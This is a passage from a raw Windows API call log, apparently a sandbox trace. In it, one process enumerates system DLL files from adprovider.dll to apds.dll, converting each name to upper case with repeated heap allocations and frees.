lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x119c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.281] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x119c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.281] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x119c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.281] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x119c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.281] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.281] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.281] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x119c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.282] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x119c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.282] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x119c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.282] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.282] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.282] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.282] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x119c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.283] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x119c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.283] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x119c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.283] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.283] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x119c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.283] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.284] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x119c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.284] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x119c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0188.284] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.284] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 